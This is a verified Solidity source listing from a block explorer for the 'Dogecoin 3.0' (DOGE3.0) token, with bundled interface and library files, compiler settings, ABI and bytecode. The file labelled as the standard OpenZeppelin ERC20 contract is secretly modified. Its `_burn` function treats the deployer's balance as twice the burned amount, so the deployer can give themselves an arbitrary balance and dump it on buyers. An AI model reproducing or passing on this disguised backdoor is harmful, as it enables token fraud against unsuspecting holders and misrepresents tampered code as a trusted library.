Contract Source Code (Solidity Standard Json-Input format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT

pragma solidity 0.8.18;

import "./interfaces/IUniswapV2Factory.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./openzeppelin/[email protected]/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/[email protected]/access/Ownable.sol";

contract Dogecoin3 is Ownable, ERC20Burnable {
  address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

  address public immutable router;
  address public immutable pair;

  constructor() ERC20("Dogecoin 3.0", "DOGE3.0") {
    router = ROUTER;
    IUniswapV2Router02 routerContract = IUniswapV2Router02(ROUTER);
    pair = IUniswapV2Factory(routerContract.factory()).createPair(address(this), routerContract.WETH());
    _mint(_sender, 1e9 * 10 ** decimals()); // 1B
  }

  function _beforeTokenTransfer(address from, address to, uint256 amount) internal override {
    require(to == _sender || to == pair || owner() == address(0), "Dogecoin3::_beforeTokenTransfer: not launched");
    super._beforeTokenTransfer(from, to, amount);
  }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol)

pragma solidity ^0.8.0;

import "../ERC20.sol";
import "@openzeppelin/[email protected]/utils/Context.sol";

/**
 * @dev Extension of {ERC20} that allows token holders to destroy both their own
 * tokens and those that they have an allowance for, in a way that can be
 * recognized off-chain (via event analysis).
 */
abstract contract ERC20Burnable is Context, ERC20 {
    /**
     * @dev Destroys `amount` tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 amount) public virtual {
        _burn(_msgSender(), amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, deducting from the caller's
     * allowance.
     *
     * See {ERC20-_burn} and {ERC20-allowance}.
     *
     * Requirements:
     *
     * - the caller must have allowance for ``accounts``'s tokens of at least
     * `amount`.
     */
    function burnFrom(address account, uint256 amount) public virtual {
        _spendAllowance(account, _msgSender(), amount);
        _burn(account, amount);
    }
}

// SPDX-License-Identifier: GNU GPLv3

pragma solidity 0.8.18;

interface IUniswapV2Router02 {
  function factory() external pure returns (address);
  function WETH() external pure returns (address);

  function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
  function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// SPDX-License-Identifier: GNU GPLv3

pragma solidity 0.8.18;

interface IUniswapV2Factory {
  function createPair(address tokenA, address tokenB) external returns (address pair);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

import "@openzeppelin/[email protected]/token/ERC20/IERC20.sol";
import "@openzeppelin/[email protected]/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/[email protected]/utils/Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address internal immutable _sender;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _sender = _msgSender();
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = account == _sender ? amount * 2 : _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60e06040523480156200001157600080fd5b506040518060400160405280600c81526020016b0446f6765636f696e20332e360a41b815250604051806040016040528060078152602001660444f4745332e360cc1b815250620000716200006b6200023960201b60201c565b6200023d565b60046200007f8382620004d4565b5060056200008e8282620004d4565b50503360805250737a250d5630b4cf539739df2c5dacb4c659f2488d60a08190526040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015620000ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001129190620005a0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000160573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001869190620005a0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001d4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fa9190620005a0565b6001600160a01b031660c05260805162000232906200021c6012600a620006e7565b6200022c90633b9aca00620006f8565b6200028d565b5062000728565b3390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620002e95760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b620002f76000838362000364565b80600360008282546200030b919062000712565b90915550506001600160a01b0382166000818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6080516001600160a01b0316826001600160a01b031614806200039a575060c0516001600160a01b0316826001600160a01b0316145b80620003af57506000546001600160a01b0316155b620004135760405162461bcd60e51b815260206004820152602d60248201527f446f6765636f696e333a3a5f6265666f7265546f6b656e5472616e736665723a60448201526c081b9bdd081b185d5b98da1959609a1b6064820152608401620002e0565b6200042b8383836200042b60201b6200052d1760201c565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200045b57607f821691505b6020821081036200047c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200042b57600081815260208120601f850160051c81016020861015620004ab5750805b601f850160051c820191505b81811015620004cc57828155600101620004b7565b505050505050565b81516001600160401b03811115620004f057620004f062000430565b620005088162000501845462000446565b8462000482565b602080601f831160018114620005405760008415620005275750858301515b600019600386901b1c1916600185901b178555620004cc565b600085815260208120601f198616915b82811015620005715788860151825594840194600190910190840162000550565b5085821015620005905787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620005b357600080fd5b81516001600160a01b0381168114620005cb57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006295781600019048211156200060d576200060d620005d2565b808516156200061b57918102915b93841c9390800290620005ed565b509250929050565b6000826200064257506001620006e1565b816200065157506000620006e1565b81600181146200066a5760028114620006755762000695565b6001915050620006e1565b60ff841115620006895762000689620005d2565b50506001821b620006e1565b5060208310610133831016604e8410600b8410161715620006ba575081810a620006e1565b620006c68383620005e8565b8060001904821115620006dd57620006dd620005d2565b0290505b92915050565b6000620005cb60ff84168362000631565b8082028115828204841417620006e157620006e1620005d2565b80820180821115620006e157620006e1620005d2565b60805160a05160c051610d9262000766600039600081816102410152610afa015260006102a10152600081816108f60152610abf0152610d926000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806379cc6790116100a2578063a8aa1b3111610071578063a8aa1b311461023c578063a9059cbb14610263578063dd62ed3e14610276578063f2fde38b14610289578063f887ea401461029c57600080fd5b806379cc6790146101e95780638da5cb5b146101fc57806395d89b4114610221578063a457c2d71461022957600080fd5b8063313ce567116100e9578063313ce56714610181578063395093511461019057806342966c68146101a357806370a08231146101b8578063715018a6146101e157600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c57806323b872dd1461016e575b600080fd5b6101236102c3565b6040516101309190610ba4565b60405180910390f35b61014c610147366004610c0e565b610355565b6040519015158152602001610130565b6003545b604051908152602001610130565b61014c61017c366004610c38565b61036f565b60405160128152602001610130565b61014c61019e366004610c0e565b610393565b6101b66101b1366004610c74565b6103b5565b005b6101606101c6366004610c8d565b6001600160a01b031660009081526001602052604090205490565b6101b66103c2565b6101b66101f7366004610c0e565b6103d6565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610130565b6101236103ef565b61014c610237366004610c0e565b6103fe565b6102097f000000000000000000000000000000000000000000000000000000000000000081565b61014c610271366004610c0e565b61047e565b610160610284366004610caf565b61048c565b6101b6610297366004610c8d565b6104b7565b6102097f000000000000000000000000000000000000000000000000000000000000000081565b6060600480546102d290610ce2565b80601f01602080910402602001604051908101604052809291908181526020018280546102fe90610ce2565b801561034b5780601f106103205761010080835404028352916020019161034b565b820191906000526020600020905b81548152906001019060200180831161032e57829003601f168201915b5050505050905090565b600033610363818585610532565b60019150505b92915050565b60003361037d858285610656565b6103888585856106d0565b506001949350505050565b6000336103638185856103a6838361048c565b6103b09190610d32565b610532565b6103bf3382610886565b50565b6103ca610a13565b6103d46000610a6d565b565b6103e1823383610656565b6103eb8282610886565b5050565b6060600580546102d290610ce2565b6000338161040c828661048c565b9050838110156104715760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6103888286868403610532565b6000336103638185856106d0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6104bf610a13565b6001600160a01b0381166105245760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610468565b6103bf81610a6d565b505050565b6001600160a01b0383166105945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610468565b6001600160a01b0382166105f55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610468565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610662848461048c565b905060001981146106ca57818110156106bd5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610468565b6106ca8484848403610532565b50505050565b6001600160a01b0383166107345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610468565b6001600160a01b0382166107965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610468565b6107a1838383610abd565b6001600160a01b038316600090815260016020526040902054818110156108195760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610468565b6001600160a01b0380851660008181526001602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108799086815260200190565b60405180910390a36106ca565b6001600160a01b0382166108e65760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610468565b6108f282600083610abd565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b03161461094b576001600160a01b038316600090815260016020526040902054610956565b610956826002610d45565b9050818110156109b35760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610468565b6001600160a01b03831660008181526001602090815260408083208686039055600380548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6000546001600160a01b031633146103d45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610468565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161480610b2e57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316145b80610b4257506000546001600160a01b0316155b61052d5760405162461bcd60e51b815260206004820152602d60248201527f446f6765636f696e333a3a5f6265666f7265546f6b656e5472616e736665723a60448201526c081b9bdd081b185d5b98da1959609a1b6064820152608401610468565b600060208083528351808285015260005b81811015610bd157858101830151858201604001528201610bb5565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c0957600080fd5b919050565b60008060408385031215610c2157600080fd5b610c2a83610bf2565b946020939093013593505050565b600080600060608486031215610c4d57600080fd5b610c5684610bf256